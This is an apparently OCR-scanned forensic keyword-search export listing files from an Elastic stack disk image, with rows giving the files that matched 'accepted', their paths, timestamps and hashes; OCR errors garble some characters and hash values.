ECT","2025-11-28 18:17:40 ECT","2025-11-28
18:17:40 ECT","2025-11-28 18:17:40
ECT",2761,ALLOCATED,ALLOCATED,UNKN
OWN,"50B88BD86E5238B778978CF6A00344F
5","404FB944637BAAA36817B12C6CD668986
8F9B3C7474DE82695654FDC3D822C24", TEX
T/X-PYTHON,PY

SERDEV.H,"RETURNS NUMBER OF BYTES
A«ACCEPTEDA«

@WRITE_WAKEUP:","/IMG_ELK_VAR_PARTI
CION.DD/USR/SRC/LINUX-HEADERS-6.8.0-
88/INCLUDE/LINUX/SERDEV.H","2024-03-10
15:38:09 ECT","2025-11-28 18:20:17
ECT","2025-11-28 18:20:05 ECT","2025-11-28
18:20:15
ECT",10363,ALLOCATED,ALLOCATED,UNKN
OWN,"E2707ESEEF71428229ACC9F78B396C
AF","3DD316AB3B16E2EF6BDCA3DC82C93A
27E1739E5BFD75ED4808FB2419333BA349",T
EXT/X-CHDR,H

LVEXTEND.8,"SPECIFIC TYPE, WHERE THE

A«ACCEPTEDA« LV TYPES ARE
LISTED.","/IMG_ELK_VAR_PARTICION.DD/U
SR/SHARE/MAN/MANS8/LVEXTEND.8.GZ/LVE
XTEND.8","0000-00-00 00:00:00","0000-00-00
00:00:00","0000-00-00 00:00:00","0000-00-00
00:00:00",19010,ALLOCATED,ALLOCATED,U
NKNOWN,"6F5CAS57C3EE7D14B3FDBF83501
400A9E","72213A2014AB8BB1AEFC6BD1DB
CD69829B69E252E36COEFF040E8A2171831B
18",TEXT/PLAIN,8

may sleep.

112
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JAVA.1,"BOTH THE SOURCE VERSION
A«ACCEPTEDA« BY COMPILER AND THE
SYSTEM","/IMG_ELK_VAR_PARTICION.DD/U
SR/SHARE/ELASTICSEARCH/JDK/MAN/MAN
1/JAVA.1","2025-11-07 08:41:36 ECT","2025-
11-28 18:26:05 ECT","2025-11-28 18:25:55
ECT","2025-11-28 18:26:05
ECT",201578,ALLOCATED,ALLOCATED,UNK
NOWN,"AFD6338DB2995445F436C21F1AE43
FFB","FA91B8283AA0AA1B749804B5C12FA
C2FF4ACE83A74E59FC1D6BA85913484C24A
", TEXT/TROFF,1

CRYPTSETUP-LUKSADDKEY.S8,"LUKS1,
ONLY PBKDF2 IS AcACCEPTEDA« (NO
NEED TO USE
THIS","/IMG_ELK_VAR_PARTICION.DD/USR/
SHARE/MAN/MANS8/CRYPTSETUP-
LUKSADDKEY.8.GZ/CRYPTSETUP-
LUKSADDKEY.8","0000-00-00
00:00:00","0000-00-00 00:00:00","0000-00-00
00:00:00","0000-00-00
00:00:00",15906,ALLOCATED,ALLOCATED,U
NKNOWN,"C84C711B19929A2591FEF0F43B2
E5AB9","B74E3C4C5B8DF772E9B70A52B558
C4F6E4493B4A70D390757460143D102E9449"
,TEXT/TROFF,8

JDB.1,"FOLLOWING OPTIONS ARE
A«ACCEPTEDA« BY THE
\F[V]JDB\F[R]","/IMG_ELK_VAR_PARTICION.
DD/USR/SHARE/ELASTICSEARCH/JDK/MAN/
MAN1/JDB.1","2025-11-07 08:41:36
ECT","2025-11-28 18:26:05 ECT","2025-11-28
18:25:55 ECT","2025-11-28 18:26:05
ECT",9389,ALLOCATED,ALLOCATED,UNKN
OWN,"495539A350348870666907632FF0F85B
" "71B2F29C433BA253095007A0170703FB2C
6EA236B7F884219369BDB9D21F77A6", TEXT/
TROFF,1

FIELDS.YML,"EXAMPLE: Ac<ACCEPTEDA«

DESCRIPTION:","/IMG_ELK_VAR_PARTICIO
N.DD/ETC/FILEBEAT/FIELDS.YML","2025-11-
07 07:24:10 ECT","2025-11-28 22:12:25
ECT","2025-11-28 22:12:25 ECT","2025-11-28
22:12:24
ECT",1219302,ALLOCATED,ALLOCATED,UN
KNOWN,"33D7ECB2369B33B1DE8A25ADD96
3BEC8","CD384D38DA3EB6E853D2A10A7FD
E2C182AAD43F396EB3FC022DD2FB9AD8659
8E", TEXT/X-YAML,YML
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XMLPARSER.JS,"NEW ERROR(""XML DATA
IS A<KACCEPTEDA« IN STRING OR
BYTESI[]","/IMG_ELK_VAR_PARTICION.DD/U
SR/SHARE/KIBANA/NODE_MODULES/FAST-
XML-
PARSER/SRC/V5/XMLPARSER.JS","2025-11-
07 08:37:48 ECT","2025-11-28 18:55:04
ECT","2025-11-28 18:54:38 ECT","2025-11-28
18:55:02
ECT",3103,ALLOCATED,ALLOCATED,UNKN
OWN,"9D6BA8027068B25DBCD37B8F32AAF
4D5","CEDE2B29DA212BD8985F20E7307348
4840DFDE19F1FFE82814BE29E1885C2F3A",
TEXT/JAVASCRIPT,JS
FILEBEAT.REFERENCE.YML,"ELASTICSEAR
CH OUTPUT ARE A«ACCEPTEDA« HERE AS
WELL.

#
NOTE","/IMG_ELK_VAR_PARTICION.DD/ETC/
FILEBEAT/FILEBEAT.REFERENCE.YML","20
25-11-07 07:24:10 ECT","2025-11-28 22:12:25
ECT","2025-11-28 22:12:25 ECT","2025-11-28
22:12:24

ECT",176274, ALLOCATED,ALLOCATED,UNK
NOWN,"9C13E6D4373008D8347F36A787D85F
FE","B92A1EFE94A0254FDCA412446EBSB0OA
4BCB4B0F61014ECFD2E240236EE671696", T
EXT/X-YAML,YML

SG_WRITE_X.8,"ARE ZEROS. THE FORMAT
A«ACCEPTEDA«

IS RELATIVELY LOOSE
WITH","/IMG_ELK_VAR_PARTICION.DD/USR/
SHARE/MAN/MANS8/SG_WRITE_X.8.GZ/SG_W
RITE_X.8","0000-00-00 00:00:00","0000-00-00
00:00:00","0000-00-00 00:00:00","0000-00-00
00:00:00",32983,ALLOCATED,ALLOCATED,U
NKNOWN,"B42D76158A5CB27634C2434BAC
BFFAEE","BA833231813C64B3917E1EA8505
DC44B9DADE12245D49017E27CA7F2F1D20A
89", TEXT/PLAIN,8

CMP.H,"::= INTEGER {
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*  A«ACCEPTEDA«
(0),","/IMG_ELK_VAR_PARTICION.DD/USR/S
HARE/KIBANA/NODE/GLIBC-
217/INCLUDE/NODE/OPENSSL/ARCHS/VC-
WIN64-ARM/NO-
ASM/INCLUDE/OPENSSL/CMP.H","2025-11-
07 08:39:12 ECT","2025-11-28 18:55:03
ECT","2025-11-28 18:54:38 ECT","2025-11-28
18:54:39
ECT",41123,ALLOCATED,ALLOCATED,UNKN
OWN,"0004A88D9AC2F2897FE756B3780DF38
F","28 ABBCA1B6798A226A323C5B23DD884
D3FE739F5D9C8B0F1329CC665355D6317",T
EXT/X-CHDR,H

GOVERNANCE.MD,"MUST BE REVIEWED
AND A«ACCEPTEDA« BY A
COLLABORATOR
WITH","/IMG_ELK_VAR_PARTICION.DD/USR/
SHARE/KIBANA/NODE_MODULES/STREAM-
CHOPPER/NODE_MODULES/READABLE-
STREAM/GOVERNANCE.MD","2025-11-07
08:37:48 ECT","2025-11-28 18:55:04
ECT","2025-11-28 18:54:38 ECT","2025-11-28
18:54:58
ECT",5550,ALLOCATED,ALLOCATED,UNKN
OWN,"70B44945CEC4643CA805D87F673FBD
34" "7A521E462D1C6F3B599C44637FB337BB
F969DDA311510A87236EC539A415331D", TE
XT/X-WEB-MARKDOWN,MD
PERMESSAGE-DEFLATE.JS,"E * @RETURN
{OBJECT} AcACCEPTEDA«
CONFIGURATION *
@PUBLIC","/IMG_ELK_VAR_PARTICION.DD/
USR/SHARE/KIBANA/NODE_MODULES/WS/L
IB/PERMESSAGE-DEFLATE.JS","2025-11-07
08:37:39 ECT","2025-11-28 18:55:04
ECT","2025-12-01 07:41:15 ECT","2025-11-28
18:55:00
ECT",14510,ALLOCATED,ALLOCATED,UNKN
OWN,"15345EF613B64AE83C6BA7901F53539
7","ADCEDCB3069B7C6DB3FD6CEC93699EF
70BD4061126B987DD9ASF7CB16D2B7530",T
EXT/JAVASCRIPT,JS
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MOUNT.8,"\FBUSER\FP MOUNT OPTION IS
A«ACCEPTEDA« IF NO USERNAME IS
SPECIFIED","/IMG_ELK_VAR_PARTICION.DD
/USR/SHARE/MAN/MAN8/MOUNT.8.GZ/MOUN
T.8","0000-00-00 00:00:00","0000-00-00
00:00:00","0000-00-00 00:00:00","0000-00-00
00:00:00",108503,ALLOCATED,ALLOCATED,
UNKNOWN,"7BB9745D27086E3B030BF2239B
A2637D","F86E91FA582ECEAFDFDB8527C1
DC880EA272195E6401B743F72FA5C84C8932
9A",TEXT/TROFF,8

CLIENT.RB,"LIST OF THE

# A«ACCEPTEDA« MODES AND THE
CONFIGURATION","/IMG_ELK_VAR_PARTICI
ON.DD/USR/SHARE/LOGSTASH/VENDOR/BU
NDLE/JRUBY/3.1.0/GEMS/AWS-SDK-CORE-
3.226.3/LIB/AWS-SDK-
SSOOIDC/CLIENT.RB","2025-11-04 13:09:44
ECT","2025-11-28 21:59:32 ECT","2025-11-28
21:59:24 ECT","2025-11-28 21:59:25
ECT",55888,ALLOCATED,ALLOCATED,UNKN
OWN,"E3CFAC48290158F73BBF54DAACB3A
F46","585613999D77A6C4FE69C9F1C219101
2EB9138537ED89EDE89D68S0EB73C74C8A", T
EXT/X-RUBY,RB

TRANSFORM.CHUNK.409.JS,"FOR IPV4
ADDRESSES THE A«<ACCEPTEDA« RANGE
IS [0,
32].\\NFOR","/IMG_ELK_VAR_PARTICION.DD
/USR/SHARE/KIBANA/NODE_MODULES/@K
BN/TRANSFORM-
PLUGIN/TARGET/PUBLIC/TRANSFORM.CHU
NK.409.JS","2025-11-07 08:38:03 ECT","2025-
11-28 18:55:03 ECT","2025-11-28 18:54:38
ECT","2025-11-28 18:54:53
ECT",444846,ALLOCATED,ALLOCATED,UNK
NOWN,"CEO0CS5E6D54F6AFCEABBF31874512
265A","BE62C95F5F657492829BD8F197176F
3BBFA5A5BDAF95CC15746C298301BE0168",
TEXT/JAVASCRIPT,JS

JMOD.1,"CREATING THE JMOD FILE.
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THE A<ACCEPTEDA« VALUES ARE \F[V]ZIP-
" "/IMG_ELK_VAR_PARTICION.DD/USR/SHA
RE/ELASTICSEARCH/JDK/MAN/MAN1/JMOD.
1","2025-11-07 08:41:36 ECT","2025-11-28
18:26:05 ECT","2025-11-28 18:25:55
ECT","2025-11-28 18:26:05
ECT",11303,ALLOCATED,ALLOCATED,UNKN
OWN,"1631E89CC4E5B5EF246A90DA527627
34" "4348B7E02F059E37AA4034B8436CADF3
6CDE83B73785B8C81BA1B9BC616F661A", T
EXT/TROFF,1

SAMPLE.HTTP.YML.DISABLED,"NOT
# BEING 404 IS AACCEPTEDA«.

#STATUS:
0","/IMG_ELK_VAR_PARTICION.DD/HOME/E
LK/ELASTIC-AGENT-8.11.1-LINUX-
X86_64/DATA/ELASTIC-AGENT-
03EF9D/COMPONENTS/MONITORS.D/SAMPL
E.HTTP.YML.DISABLED","2023-11-11
08:27:03 ECT","2025-12-01 08:54:04
ECT","2025-12-01 09:05:31 ECT","2025-12-01
08:54:04
ECT",2850,ALLOCATED,ALLOCATED,UNKN
OWN,"DED6FAFCEF3AE725809A30D76ES5D5
A6C","7746F621F248875468D8DD9FEDGEOD
CCB323B88E2F382A4EC854354133186D92",T
EXT/PLAIN,DISABLED

WEBSOCKET-SERVER.JS,"{OBJECT}
EXTENSIONS THE A<ACCEPTEDA«
EXTENSIONS * @PARAM
{STRING}","/IMG_ELK_VAR_PARTICION.DD/
USR/SHARE/KIBANA/NODE_MODULES/WS/L
IB/IWEBSOCKET-SERVER.JS","2025-11-07
08:37:39 ECT","2025-11-28 18:55:04
ECT","2025-12-01 07:41:15 ECT","2025-11-28
18:55:00
ECT",16393,ALLOCATED,ALLOCATED,UNKN
OWN,"DCE6F00DA0B660CA42CC383CD9E87
6EA","FE8A410E89325608DC94D09778A2650
BF041B9B7F5DFF61D5005EA111E09A508", T
EXT/JAVASCRIPT,JS
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_STREAM_WRITABLE.JS,"THAT 'NULL" IS
NEVER A«<ACCEPTEDA« /| AND
UNDEFINED/NON-
STRING","/IMG_ELK_VAR_PARTICION.DD/U
SR/SHARE/KIBANA/NODE_MODULES/STREA
M-CHOPPER/NODE_MODULES/READABLE-
STREAM/LIB/_STREAM_WRITABLE.JS","202
5-11-07 08:38:03 ECT","2025-11-28 18:55:04
ECT","2025-12-01 07:39:29 ECT","2025-11-28
18:54:58
ECT",21907, ALLOCATED,ALLOCATED,UNKN
OWN,"1997E9040E13749540039901789AFAC
1","0F3F2ACCECD343DFAE91D7DAA72F3AD
125B6F139D5883FF51362042D8CB65CF6",TE
XT/JAVASCRIPT,JS
SAMPLE.TCP.YML.DISABLED,"RESPONSE
WILL BE

# AcACCEPTEDA« AS OK. IF ONLY
'RECE","/IMG_ELK_VAR_PARTICION.DD/HO
ME/ELK/ELASTIC-AGENT-8.11.1-LINUX-
X86_64/DATA/ELASTIC-AGENT-
03EF9D/COMPONENTS/MONITORS.D/SAMPL
E.TCP.YML.DISABLED","2023-11-11 08:27:04
ECT","2025-12-01 08:54:04 ECT","2025-12-01
09:05:31 ECT","2025-12-01 08:54:04
ECT",3526,ALLOCATED,ALLOCATED,UNKN
OWN,"838FB2EDE909F662CBBF422BF6A61A
00","486B3960A308309DA9EEBA9C53649617
9848442145F63C71E33C0BCCF93D729A", TE
XT/PLAIN,DISABLED

JSHELL.1,"AND EXPRESSIONS ARE
A«ACCEPTEDA«.

THE BITS OF CODE
ENTERED","/IMG_ELK_VAR_PARTICION.DD/
USR/SHARE/ELASTICSEARCH/JDK/MAN/MA
N1/JSHELL.1","2025-11-07 08:41:36
ECT","2025-11-28 18:26:05 ECT","2025-11-28
18:25:55 ECT","2025-11-28 18:26:05
ECT",41952,ALLOCATED,ALLOCATED,UNKN
OWN,"B02BFFB070EA59DEFA5A95A1BACD4
CB9","A9D26A4B2745AECCCB1EDF2664AD
CADE927E5AF86B30139D97DF974FFC775E1
4", TEXT/TROFF,1

CLIENT.RB,"A LIST OF THE
A€ ACE A€ A€
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A«ACCEPTEDA« MODES AND THE
CONFIGURATION","/IMG_ELK_VAR_PARTICI
ON.DD/USR/SHARE/LOGSTASH/VENDOR/BU
NDLE/JRUBY/3.1.0/GEMS/AWS-SDK-
CLOUDFRONT-1.119.0/LIB/AWS-SDK-
CLOUDFRONT/CLIENT.RB","2025-11-04
13:09:45 ECT","2025-11-28 21:59:32
ECT","2025-11-28 21:59:24 ECT","2025-11-28
21:59:25
ECT",722825,ALLOCATED,ALLOCATED,UNK
NOWN,"F7C4DA7FA0610580E905EF1B4E58B
021","973A0EB6508FAD2E900627765A2A297
101F76711E50CAFB03DBC347575DF765F", T
EXT/X-RUBY,RB
SERVICE-2.JSON,"IES</CODE>. THE ONLY
A«ACCEPTEDA« VALUE FOR THIS
PARAMETER","IMG_ELK_VAR_PARTICION.
DD/USR/LIB/PYTHON3/DIST-
PACKAGES/BOTOCORE/DATA/TRANSCRIBE
/2017-10-26/SERVICE-2.JSON","2025-08-05
12:14:02 ECT","2025-11-28 18:17:37
ECT","2025-11-28 18:17:37 ECT","2025-11-28
18:17:37
ECT",272683,ALLOCATED,ALLOCATED,UNK
NOWN,"53B11D4A65467924F7920D4E2C2640
67","13E10B817623C41995A0408DAFF1F15B
AD333AA418E0200E6048825A12CD2507",TE
XT/PLAIN,JSON
OSQUERYBEAT,"NILCONFIG DOES NOT
MATCH A<ACCEPTEDA«
CONFIGURATIONSCONFIGURATION","/IMG_
ELK_VAR_PARTICION.DD/HOME/ELK/ELAST
IC-AGENT-8.11.1-LINUX-
X86_64/DATA/ELASTIC-AGENT-
03EF9D/COMPONENTS/OSQUERYBEAT","20
23-11-11 08:27:09 ECT","2025-12-01 08:54:08
ECT","2025-12-01 09:05:31 ECT","2025-12-01
08:54:04
ECT",108099512,ALLOCATED,ALLOCATED,U
NKNOWN,"FCCDC694CF14BBCD501AF0E90
730CFC1","ADOBAAEED6BB6B1D4BD738663
AFF7D32BDAD6335FD8A200EF30DDBACSF2
98DE5",APPLICATION/X-SHAREDLIB,
OUTPUT.JAVA,"ENCODING - ANY VALUE
A«ACCEPTEDA« HERE
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_ENCODING","/IMG_ELK_VAR_PARTICION.D
D/USR/SHARE/LOGSTASH/JDKI/LIB/SRC.ZIP/
JAVA.XML/COM/SUN/ORG/APACHE/XALAN/I
NTERNAL/XSLTC/COMPILER/OUTPUT.JAVA™
,"2025-10-21 00:00:00 ECT","0000-00-00
00:00:00","0000-00-00 00:00:00","0000-00-00
00:00:00",15735,ALLOCATED,ALLOCATED,U
NKNOWN,"2CDF1EF3A8AE742FB2E4CB4686
1EBB1B","184544E8DC5E772F99B71B7ADS5F
87D516ECCFFC625E486D1ADSFOED1E47E03
50", TEXT/X-JAVA-SOURCE,JAVA

OSQUERYBEAT.REFERENCE.YML,"ELASTIC
SEARCH OUTPUT ARE A«ACCEPTEDA«
HERE AS WELL.

#
NOTE","/IMG_ELK_VAR_PARTICION.DD/HO
ME/ELK/ELASTIC-AGENT-8.11.1-LINUX-
X86_64/DATA/ELASTIC-AGENT-
03EF9D/COMPONENTS/OSQUERYBEAT.REF
ERENCE.YML","2023-11-11 08:27:09
ECT","2025-12-01 08:54:08 ECT","2025-12-01
09:05:41 ECT","2025-12-01 08:54:08
ECT",46478, ALLOCATED,ALLOCATED,UNKN
OWN,"6E81207121E622E77933542CD8C323B
8","5CB23D2B760C3798CF0449BE80D80557F
B1BA139D80E0C999A2BC3D4B9AFD1D6", TE
XT/X-YAML,YML

OSQUERYBEAT.YML,"ELASTICSEARCH
OUTPUTS ARE A<ACCEPTEDA« HERE AS
WELL.

#
NOTE","/IMG_ELK_VAR_PARTICION.DD/HO
ME/ELK/ELASTIC-AGENT-8.11.1-LINUX-
X86_64/DATA/ELASTIC-AGENT-
03EF9D/COMPONENTS/OSQUERYBEAT.YML
","2023-11-11 08:27:09 ECT","2025-12-01
08:54:08 ECT","2025-12-01 09:05:41
ECT","2025-12-01 08:54:08
ECT",6505,ALLOCATED,ALLOCATED,UNKN
OWN,"5934A5A6FEC01C8A895C915CD60FFB
93","F26630D003DE870F7AAD288D27D2C709
894E2B15C33DF286F70DC4910D33C3FD",TE
XT/X-YAML,YML

OSQUERYD,"BE MONITORING THE LV.

A«ACCEPTEDA« VALUES:
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REMOVE","/IMG_ELK_VAR_PARTICION.DD/H
OME/ELK/ELASTIC-AGENT-8.11.1-LINUX-
X86_64/DATA/ELASTIC-AGENT-
03EF9D/COMPONENTS/OSQUERYD","2023-
11-11 08:27:10 ECT","2025-12-01 08:54:16
ECT","2025-12-01 09:05:41 ECT","2025-12-01
08:54:08
ECT",268531864,ALLOCATED,ALLOCATED,U
NKNOWN,"73A7B75FFF981E31CBA302F6BC
DEB5C3","BB18C4E00D8BES5A11764FDFD4D
42AC8B51B3E022A91CFBCD533FA7546A6E9
F03",APPLICATION/X-SHAREDLIB,
DPKG.STATUS.0,"IS

ONE OF THE FORMATS A«ACCEPTEDA«
FOR INLINE IMAGES
BY","/IMG_ELK_VAR_PARTICION.DD/VAR/B
ACKUPS/DPKG.STATUS.0","2025-11-30
17:43:16 ECT","2025-12-01 07:38:26
ECT","2025-11-30 17:43:16 ECT","2025-12-01
07:38:25
ECT",732105,ALLOCATED,ALLOCATED,UNK
NOWN,"8F1BB865C840FD4C87BE028877B00
523","8FBBFAEAS0AOE707C44916778581C12
903A40BA1528390DC2F42CD4B6BE13FES5",T
EXT/PLAIN,0
TEST_TCP.PY,"HAS BEEN

A«ACCEPTEDA.

nunnemn *IMG_ELK_VAR_PARTICION.DD/USR
/LIB/PYTHON3/DIST-
PACKAGES/TWISTED/INTERNET/TEST/TEST
_TCP.PY","2025-08-05 12:14:03 ECT","2025-
11-28 18:17:40 ECT","2025-11-28 18:17:40
ECT","2025-11-28 18:17:40
ECT",108237,ALLOCATED,ALLOCATED,UNK
NOWN,"171F5D12E96BF579807705917C4971
6E","41B17EEBOFDBEA6628D88D00AF8733D
5208E0B006BB86BAF3912BF6AF1BOF886",T
EXT/X-PYTHON,PY
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PACKETBEAT,"NILCONFIG DOES NOT
MATCH A«ACCEPTEDA«
CONFIGURATIONSCONFIGURATION","/IMG_
ELK_VAR_PARTICION.DD/HOME/ELK/ELAST
IC-AGENT-8.11.1-LINUX-
X86_64/DATA/ELASTIC-AGENT-
03EF9D/COMPONENTS/PACKETBEAT","2023
-11-11 08:27:11 ECT","2025-12-01 08:54:19
ECT","2025-12-01 09:06:12 ECT","2025-12-01
08:54:16
ECT",113780792,ALLOCATED,ALLOCATED,U
NKNOWN,"CA476F9CC6CFB8D0BB0195A9C
F3BBED4","F49C368170F7753258FEC8328C2
1629EAG6EA068B7E8453E0590349EF5829C16
B",APPLICATION/X-SHAREDLIB,

PACKETBEAT.REFERENCE.YML,"TYPE.
CURRENTLY THE ONLY A«<ACCEPTEDA«
VALUE IS BINARY
FOR","/IMG_ELK_VAR_PARTICION.DD/HOM
E/ELK/ELASTIC-AGENT-8.11.1-LINUX-
X86_64/DATA/ELASTIC-AGENT-
03EF9D/COMPONENTS/PACKETBEAT.REFE
RENCE.YML","2023-11-11 08:27:11
ECT","2025-12-01 08:54:19 ECT","2025-12-01
09:06:24 ECT","2025-12-01 08:54:19
ECT",86033,ALLOCATED,ALLOCATED,UNKN
OWN,"1667DB03FBFDB2E129C0021A4C1BC
DEE","034C75F259E06AE371C2ECBOAAF346
0DC1CE08F2B96A37DD2C595FFBDDDF3E90
", TEXT/X-YAML,YML

RAWHTML.JAVA,"* THE STRING IS
A«ACCEPTEDA« AS-IS AND IS NOT
VALIDATED","/IMG_ELK_VAR_PARTICION.D
D/USR/SHARE/LOGSTASH/JDKI/LIB/SRC.ZIP/
JDK.JAVADOC/JDK/JAVADOC/INTERNAL/DO
CLETS/FORMATS/HTML/MARKUP/RAWHTML
JAVA","2025-10-21 00:00:00 ECT","0000-00-
00 00:00:00","0000-00-00 00:00:00","0000-00-
00
00:00:00",6099,ALLOCATED,ALLOCATED,UN
KNOWN,"2F53467B773519780AFA86A1A429
D663","EF3D32B2E71A0F234353C5991F54A1
10F1F5946060C18F7E425F30976F6BBOF9",T
EXT/X-JAVA-SOURCE,JAVA
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GET_TLS_OPTIONS.JS," TLSOPTIONS®
THAT ARE A«<ACCEPTEDA« BY THE HAPI
SERVER,
*"IMG_ELK_VAR_PARTICION.DD/USR/SHA
RE/KIBANA/NODE_MODULES/@KBN/SERVE
R-HTTP-
TOOLS/SRC/GET_TLS_OPTIONS.JS","2025-
11-07 08:37:47 ECT","2025-11-28 18:55:03
ECT","2025-12-01 07:39:35 ECT","2025-11-28
18:54:51
ECT",1393,ALLOCATED,ALLOCATED,UNKN
OWN,"971D5A56A7B9E1B8ED709C7B28F6D1
30","F71DO0AA2D84AF6C866C472D24F10933
A740A6DB7CC5DD3B3529307BD96F21C05",
TEXT/JAVASCRIPT,JS

PACKETBEAT.YML,"ELASTICSEARCH
OUTPUTS ARE A«ACCEPTEDA« HERE AS
WELL.

#
NOTE","/IMG_ELK_VAR_PARTICION.DD/HO
ME/ELK/ELASTIC-AGENT-8.11.1-LINUX-
X86_64/DATA/ELASTIC-AGENT-
03EF9D/COMPONENTS/PACKETBEAT.YML",
"2023-11-11 08:27:11 ECT","2025-12-01
08:54:19 ECT","2025-12-01 09:06:24
ECT","2025-12-01 08:54:19
ECT",11487,ALLOCATED,ALLOCATED,UNKN
OWN,"160CDC5D42B9B027ED2D37FDAEA9C
DOB","B3B8FED78C1FC8DA436277CA5C6B5
C12E9C8676FA50B1AE265507695C0B30DF6"
,TEXT/X-YAML,YML
GET_SERVER_OPTIONS.JS," SERVEROPTIO
NS THAT ARE A<ACCEPTEDA« BY THE
HAPI SERVER.

*/ */IMG_ELK_VAR_PARTICION.DD/USR/SH
ARE/KIBANA/NODE_MODULES/@KBN/SERV
ER-HTTP-
TOOLS/SRC/GET_SERVER_OPTIONS.JS","20
25-11-07 08:37:47 ECT","2025-11-28 18:55:03
ECT","2025-12-01 07:39:35 ECT","2025-11-28
18:54:51
ECT",2171,ALLOCATED,ALLOCATED,UNKN
OWN,"C7CB3B5CFFOF2F2BB26F9C5360CD2
8A6","8534F6EC606EASEFE3B22FD288BA97
6DFCD2261EFC8979B227316F2CA1C21D4F",
TEXT/JAVASCRIPT,JS
STREAMPRINTSERVICEFACTORY.JAVA,"DO
CUMENT FLAVORS THAT CAN BE
A«ACCEPTEDA« BY
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* PRINTERS
OBTAINED","/IMG_ELK_VAR_PARTICION.DD
IUSR/SHARE/LOGSTASH/JDKI/LIB/SRC.ZIP/J
AVA.DESKTOP/JAVAX/PRINT/STREAMPRINT
SERVICEFACTORY.JAVA","2025-10-21
00:00:00 ECT","0000-00-00 00:00:00","0000-
00-00 00:00:00","0000-00-00
00:00:00",11140,ALLOCATED,ALLOCATED,U
NKNOWN,"42C9A0BC2321DC232978494735A
7015D","6E6D3E1759C25D5CAF6149E1C26E
ABEADCC79BA5C398FC6513901A102F78DD4
E",TEXT/X-JAVA-SOURCE,JAVA

LIBAPT-PKG6.0.MO,"'%S' MEMBER

THIS MUST BE A«<ACCEPTEDA« EXPLICITLY
BEFORE
UPDATES","/IMG_ELK_VAR_PARTICION.DD/
USR/SHARE/LOCALE/ZH_CN/LC_MESSAGES
/ILIBAPT-PKG6.0.MO","2025-08-05 12:14:05
ECT","2025-11-28 18:17:57 ECT","2025-11-28
18:17:57 ECT","2025-11-28 18:17:57
ECT",32916,ALLOCATED,ALLOCATED,UNKN
OWN,"DDFA709397AFB7E92D463947078AC5
72","FAE8037426DD0743C13281B5194867DD
FF3102104310ADD60524C73FF64A369F",APP
LICATION/OCTET-STREAM,MO

KEYTOOL.1,"01:02:03:04 AND 01020304 ARE
A«ACCEPTEDA« AS IDENTICAL
VALUES.","/IMG_ELK_VAR_PARTICION.DD/U
SR/SHARE/ELASTICSEARCH/JDK/MAN/MAN
1/KEYTOOL.1","2025-11-07 08:41:36
ECT","2025-11-28 18:26:05 ECT","2025-11-28
18:25:55 ECT","2025-11-28 18:26:05
ECT",109595,ALLOCATED,ALLOCATED,UNK
NOWN,"851FE5D9D18F678E47E6B9A1B3A3B
268","34951E3628616CC8B3BBD3D8F76EA3
C50CA6ES5E0535ABE7B729522033A76D9DD",
TEXT/TROFF 1
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SERVICE-2.JSON,"ACTIVE AND RECYCLED
ARE A«<ACCEPTEDA« VALUES FROM THE
APL</P>""""/IMG_ELK_VAR_PARTICION.DD/
USR/LIB/PYTHON3/DIST-
PACKAGES/BOTOCORE/DATA/WORKDOCS/
2016-05-01/SERVICE-2.JSON","2025-08-05
12:14:02 ECT","2025-11-28 18:17:37
ECT","2025-11-28 18:17:37 ECT","2025-11-28
18:17:37

ECT",147194, ALLOCATED,ALLOCATED,UNK
NOWN,"E017C00E35634C3773FD4FCF31F737
91","7TBAC1E308B6678FDA46FD181847A4F2
F3AACAF8D94AE19099B31948DDC87D532",
TEXT/PLAIN,JSON

GOVERNANCE.MD,"MUST BE REVIEWED
AND A«ACCEPTEDA« BY A
COLLABORATOR
WITH","/IMG_ELK_VAR_PARTICION.DD/USR/
SHARE/KIBANA/NODE_MODULES/DUPLEXE
R2/NODE_MODULES/READABLE-
STREAM/GOVERNANCE.MD","2025-11-07
08:37:48 ECT","2025-11-28 18:55:03
ECT","2025-11-28 18:54:38 ECT","2025-11-28
18:54:40
ECT",5550,ALLOCATED,ALLOCATED,UNKN
OWN,"70B44945CEC4643CA805D87F673FBD
34" "7A521E462D1C6F3B599C44637FB337BB
F969DDA311510A87236EC539A415331D",TE
XT/X-WEB-MARKDOWN,MD

X509 VFY.H,"TRUST IF NO EXPLICIT
A«ACCEPTEDA« TRUST EKUS */

#
DEFINE","/IMG_ELK_VAR_PARTICION.DD/US
R/SHARE/KIBANA/NODE/GLIBC-
217/INCLUDE/NODE/OPENSSL/ARCHS/VC-
WIN64-ARM/NO-
ASM/INCLUDE/OPENSSL/X509_VFY.H","2025
-11-07 08:39:12 ECT","2025-11-28 18:55:03
ECT","2025-11-28 18:54:38 ECT","2025-11-28
18:54:39
ECT",52027,ALLOCATED,ALLOCATED,UNKN
OWN,"03954943980620D1194BEB68249B9EC
7","00ECA88DA5CAC83641BA85391C735125
2411AF33B9F9BF12A31CDA3D10F5C2F1",TE
XT/X-CHDR,H
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ELASTIC-AGENT,"INVALID PROTOCOL %S,
A«ACCEPTEDA« VALUES ARE 'HTTP'
AND","/IMG_ELK_VAR_PARTICION.DD/HOM
E/ELK/ELASTIC-AGENT-8.11.1-LINUX-
X86_64/DATA/ELASTIC-AGENT-
03EF9D/ELASTIC-AGENT","2023-11-11
08:30:17 ECT","2025-12-01 08:54:22
ECT","2025-12-01 09:02:40 ECT","2025-12-01
08:54:21
ECT",55374976,ALLOCATED,ALLOCATED,U
NKNOWN,"680FDF23290CAE34B3EEF6F0C5
08787B","166122D5F43FB2BBAD9C8F9EDG68
7TOFAEEF5D833DBSE1DDF721A7E240CDAF8
945", APPLICATION/X-SHAREDLIB,

MKE2FS.8,"B \-R

OPTION IS STILL AcACCEPTEDA« FOR
BACKWARDS
COMPATIBILITY","/IMG_ELK_VAR_PARTICIO
N.DD/USR/SHARE/MAN/MAN8/MKE2FS.8.GZ/
MKE2FS.8","0000-00-00 00:00:00","0000-00-
00 00:00:00","0000-00-00 00:00:00","0000-00-
00
00:00:00",26379,ALLOCATED,ALLOCATED,U
NKNOWN,"BCBC28F2354106E22EABF6454B
C1A778","A3842E5737EFE06874E2CBEFA97
C51385F2C4A6F9D06B63A4765400FB2BBCF
79", TEXT/TROFF,8
_DUMBWIN32PROC.PY,"LINES ARE
CULTURALLY

A«ACCEPTEDA« IN THE WINDOWS
WORLD","/IMG_ELK_VAR_PARTICION.DD/U
SR/LIB/PYTHON3/DIST-
PACKAGES/TWISTED/INTERNET/_DUMBWIN
32PROC.PY","2025-08-05 12:14:03
ECT","2025-11-28 18:17:40 ECT","2025-11-28
18:17:40 ECT","2025-11-28 18:17:40
